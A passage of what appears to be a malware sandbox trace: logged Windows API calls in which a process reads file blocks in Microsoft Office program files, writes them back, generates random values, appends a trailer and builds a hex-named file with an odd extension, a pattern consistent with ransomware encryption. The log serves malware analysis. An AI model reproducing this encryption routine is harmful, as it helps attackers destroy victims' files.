BaseAddress=0x1b8667c0) returned 1 [0091.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0091.689] WriteFile (in: hFile=0xd30, lpBuffer=0x201e2d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x272af9a0, lpOverlapped=0x0 | out: lpBuffer=0x201e2d00*, lpNumberOfBytesWritten=0x272af9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201e2d00) returned 1 [0100.135] SetFilePointerEx (in: hFile=0xd30, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.135] ReadFile (in: hFile=0xd30, lpBuffer=0x201df0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x272af9a0, lpOverlapped=0x0 | out: lpBuffer=0x201df0f0*, lpNumberOfBytesRead=0x272af9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.423] SetFilePointerEx (in: hFile=0xd30, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d50 [0100.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb4d60 [0100.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261370 [0100.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261370) returned 1 [0100.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fa2d00 [0100.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261370 [0100.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261400 [0100.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261400) returned 1 [0100.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb4d60) returned 1 [0100.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d50) returned 1 [0100.878] WriteFile (in: hFile=0xd30, lpBuffer=0x41fa2d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x272af9a0, lpOverlapped=0x0 | out: lpBuffer=0x41fa2d00*, lpNumberOfBytesWritten=0x272af9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0147.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fa2d00) returned 1 [0147.863] SetFilePointerEx (in: hFile=0xd30, liDistanceToMove=0x30588, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.863] ReadFile (in: hFile=0xd30, lpBuffer=0x201df0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x272af9a0, lpOverlapped=0x0 | out: lpBuffer=0x201df0f0*, lpNumberOfBytesRead=0x272af9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0147.982] SetFilePointerEx (in: hFile=0xd30, liDistanceToMove=0x30588, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0147.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0147.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a50 [0147.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a50) returned 1 [0147.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42375950 [0147.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a50 [0147.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7770 [0147.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7770) returned 1 [0147.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0147.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0147.983] WriteFile (in: hFile=0xd30, lpBuffer=0x42375950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x272af9a0, lpOverlapped=0x0 | out: lpBuffer=0x42375950*, lpNumberOfBytesWritten=0x272af9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0162.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42375950) returned 1 [0162.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b863e30 [0162.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a50) returned 1 [0162.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261370) returned 1 [0165.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced75c0) returned 1 [0165.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201df0f0) returned 1 [0165.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced75c0 [0165.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7440 [0165.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7440) returned 1 [0165.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7440 [0165.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7770 [0165.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced69f0 [0165.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced69f0) returned 1 [0165.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x144) returned 0x1cebc970 [0165.225] SetFilePointerEx (in: hFile=0xd30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0165.225] WriteFile (in: hFile=0xd30, lpBuffer=0x1cebc970*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x272afa50, lpOverlapped=0x0 | out: lpBuffer=0x1cebc970*, lpNumberOfBytesWritten=0x272afa50*=0x144, lpOverlapped=0x0) returned 1 [0190.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0190.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061130 [0190.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138530 [0190.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138530) returned 1 [0190.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x42c0f1e0 [0190.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138530 [0190.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138560 [0190.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138560) returned 1 [0190.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061130) returned 1 [0190.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0190.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x43138560 [0190.262] sprintf (in: _Dest=0x43138560, _Format="%c%c" | out: _Dest="ff") returned 2 [0190.262] sprintf (in: _Dest=0x43138562, _Format="%c%c" | out: _Dest="1a") returned 2 [0190.262] sprintf (in: _Dest=0x43138564, _Format="%c%c" | out: _Dest="90") returned 2 [0190.262] sprintf (in: _Dest=0x43138566, _Format="%c%c" | out: _Dest="60") returned 2 [0190.262] sprintf (in: _Dest=0x43138568, _Format="%c%c" | out: _Dest="76") returned 2 [0190.262] sprintf (in: _Dest=0x4313856a, _Format="%c%c" | out: _Dest="16") returned 2 [0190.262] sprintf (in: _Dest=0x4313856c, _Format="%c%c" | out: _Dest="e3") returned 2 [0190.262] sprintf (in: _Dest=0x4313856e, _Format="%c%c" | out: _Dest="47") returned 2 [0190.262] sprintf (in: _Dest=0x43138570, _Format="%c%c" | out: _Dest="44") returned 2 [0190.262] sprintf (in: _Dest=0x43138572, _Format="%c%c" | out: _Dest="3d") returned 2 [0190.262] sprintf (in: _Dest=0x43138574, _Format="%c%c" | out: _Dest="04") returned 2 [0190.262] sprintf (in: _Dest=0x43138576, _Format="%c%c" | out: _Dest="e9") returned 2 [0190.262] sprintf (in: _Dest=0x43138578, _Format="%c%c" | out: _Dest="74") returned 2 [0190.262] sprintf (in: _Dest=0x4313857a, _Format="%c%c" | out: _Dest="7f") returned 2 [0190.262] sprintf (in: _Dest=0x4313857c, _Format="%c%c" | out: _Dest="71") returned 2 [0190.262] sprintf (in: _Dest=0x4313857e, _Format="%c%c" | out: _Dest="10") returned 2 [0190.262] sprintf (in: _Dest=0x43138580, _Format="%c%c" | out: _Dest="19") returned 2 [0190.262] sprintf (in: _Dest=0x43138582, _Format="%c%c" | out: _Dest="90") returned 2 [0190.262] RtlInitAnsiString (in: DestinationString=0x272afac8, SourceString="ff1a90607616e347443d04e9747f71101990" | out: DestinationString="ff1a90607616e347443d04e9747f71101990") [0190.262] RtlAnsiStringToUnicodeString (in: DestinationString=0x272afa98, SourceString="ff1a90607616e347443d04e9747f71101990", AllocateDestinationString=1 | out: DestinationString="ff1a90607616e347443d04e9747f71101990") returned 0x0 [0190.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1ced5680 [0190.263] RtlFreeAnsiString (AnsiString="f") [0190.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138560) returned 1 [0190.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c0f1e0) returned 1 [0190.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138530) returned 1 [0190.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebc970) returned 1 [0190.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7440) returned 1 [0190.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7770) returned 1 [0190.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced75c0) returned 1 [0190.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863e30) returned 1 [0190.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7da0) returned 1 [0190.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7e00) returned 1 [0190.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7e30) returned 1 [0190.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x42061130 [0190.267] wcscat (in: _Dest=0x42061130, _Source="ff1a90607" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ff1a90607") returned="C:\\Program Files\\Microsoft Office\\Office14\\ff1a90607" [0190.267] wcscat (in: _Dest=0x42061130, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ff1a90607.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\ff1a90607.2f9b60" [0190.267] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\ff1a90607.2f9b60", NtPathName=0x272afa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\ff1a90607.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0190.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1ce63fb0 Thread: id = 405 os_tid = 0xf84 [0090.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixgenerc.pdl")) returned 0x20 [0091.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL", dwFileAttributes=0x20) returned 1 [0091.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixgenerc.pdl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd2c [0091.119] GetFileSizeEx (in: hFile=0xd2c, lpFileSize=0x274df6e0 | out: lpFileSize=0x274df6e0*=93616) returned 1 [0091.119] SetFilePointerEx (in: hFile=0xd2c, liDistanceToMove=0x16dac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.119] ReadFile (in: hFile=0xd2c, lpBuffer=0x274df660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x274df6a8, lpOverlapped=0x0 | out: lpBuffer=0x274df660*, lpNumberOfBytesRead=0x274df6a8*=0x4, lpOverlapped=0x0) returned 1 [0091.638] SetFilePointerEx (in: hFile=0xd2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced78c0 [0091.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bf0 [0091.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0091.639] NtQuerySystemTime (in: CurrentTime=0x274df5a0 | out: CurrentTime=0x274df5a0*=132462176974762000) returned 0x0 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x57eef18d [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x69079e62 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x1592744c [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x330dcc85 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x244a1cb6 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x7e6097c7 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x7801401 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x1d76dcd1 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x63770a84 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x4ffb5bcc [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x3767f013 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0xa772d09 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x6d559754 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x72a4a4c7 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x229905cc [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x6dcc5aaf [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x7964fa55 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x63865cca [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x55b34769 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x59314e46 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x2ba1559a [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x8b16c9c [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x8d7982 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x27e4ef59 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x2818f465 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x14e773d6 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x288dc1c9 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x7b98c208 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x4738d123 [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x16ed3efe [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x1b48798d [0091.639] RtlRandomEx (in: Seed=0x274df590 | out: Seed=0x274df590) returned 0x5031f375 [0091.647] SetFilePointerEx (in: hFile=0xd2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.647] ReadFile (in: hFile=0xd2c, lpBuffer=0x201d00b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x274df600, lpOverlapped=0x0 | out: lpBuffer=0x201d00b0*, lpNumberOfBytesRead=0x274df600*=0x3c00, lpOverlapped=0x0) returned 1 [0091.660] SetFilePointerEx (in: hFile=0xd2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0091.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866bc0 [0091.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced78c0 [0091.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced78c0) returned 1 [0091.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201db4e0 [0091.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced78c0 [0091.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0091.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d10) returned 1 [0091.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0091.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0091.661] WriteFile (in: hFile=0xd2c, lpBuffer=0x201db4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x274df600, lpOverlapped=0x0 | out: lpBuffer=0x201db4e0*, lpNumberOfBytesWritten=0x274df600*=0x3c00, lpOverlapped=0x0) returned 1 [0100.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201db4e0) returned 1 [0100.291] SetFilePointerEx (in: hFile=0xd2c, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.291] ReadFile (in: hFile=0xd2c, lpBuffer=0x201d00b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x274df600, lpOverlapped=0x0 | out: lpBuffer=0x201d00b0*, lpNumberOfBytesRead=0x274df600*=0x3c00, lpOverlapped=0x0) returned 1 [0100.428] SetFilePointerEx (in: hFile=0xd2c, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0100.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866cc0 [0100.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263920 [0100.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263920) returned 1 [0100.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20166910 [0100.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263920 [0100.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263950 [0100.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263950) returned 1 [0100.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866cc0) returned 1 [0100.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0100.429] WriteFile (in: hFile=0xd2c, lpBuffer=0x20166910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x274df600, lpOverlapped=0x0 | out: lpBuffer=0x20166910*, lpNumberOfBytesWritten=0x274df600*=0x3c00, lpOverlapped=0x0) returned 1 [0100.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20166910) returned 1 [0100.462] SetFilePointerEx (in: hFile=0xd2c, liDistanceToMove=0x131b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.462] ReadFile (in: hFile=0xd2c, lpBuffer=0x201d00b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x274df600, lpOverlapped=0x0 | out: lpBuffer=0x201d00b0*, lpNumberOfBytesRead=0x274df600*=0x3c00, lpOverlapped=0x0) returned 1 [0100.556] SetFilePointerEx (in: hFile=0xd2c, liDistanceToMove=0x131b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced89f0 [0100.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a0c0 [0100.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202613d0 [0100.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202613d0) returned 1 [0100.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42040d80 [0100.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202613d0 [0100.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202613a0 [0100.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202613a0) returned 1 [0100.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a0c0) returned 1 [0100.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced89f0) returned 1 [0100.958] WriteFile (in: hFile=0xd2c, lpBuffer=0x42040d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x274df600, lpOverlapped=0x0 | out: lpBuffer=0x42040d80*, lpNumberOfBytesWritten=0x274df600*=0x3c00, lpOverlapped=0x0) returned 1 [0159.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42040d80) returned 1 [0159.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e6b0 [0159.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202613d0) returned 1 [0159.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263920) returned 1 [0159.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced78c0) returned 1 [0159.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201d00b0) returned 1 [0159.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced78c0 [0159.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c060 [0159.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb72f0 [0159.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7170 [0159.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7170) returned 1 [0159.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7170 [0159.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7350 [0159.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3bf0 [0159.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3bf0) returned 1 [0159.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb72f0) returned 1 [0159.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c060) returned 1 [0159.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14a) returned 0x133ce0 [0159.312] SetFilePointerEx (in: hFile=0xd2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0159.312] WriteFile (in: hFile=0xd2c, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x274df6b0, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x274df6b0*=0x14a, lpOverlapped=0x0) returned 1 [0162.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058790 [0162.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0162.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4a0 [0162.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4a0) returned 1 [0162.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0162.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4a0 [0162.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b470 [0162.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b470) returned 1 [0162.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0162.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058790) returned 1 [0162.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fc70 [0162.708] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="db") returned 2 [0162.708] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="52") returned 2 [0162.708] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="ec") returned 2 [0162.708] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="ff") returned 2 [0162.708] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="a0") returned 2 [0162.708] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="42") returned 2 [0162.709] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="d0") returned 2 [0162.709] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="55") returned 2 [0162.709] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="7d") returned 2 [0162.709] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="72") returned 2 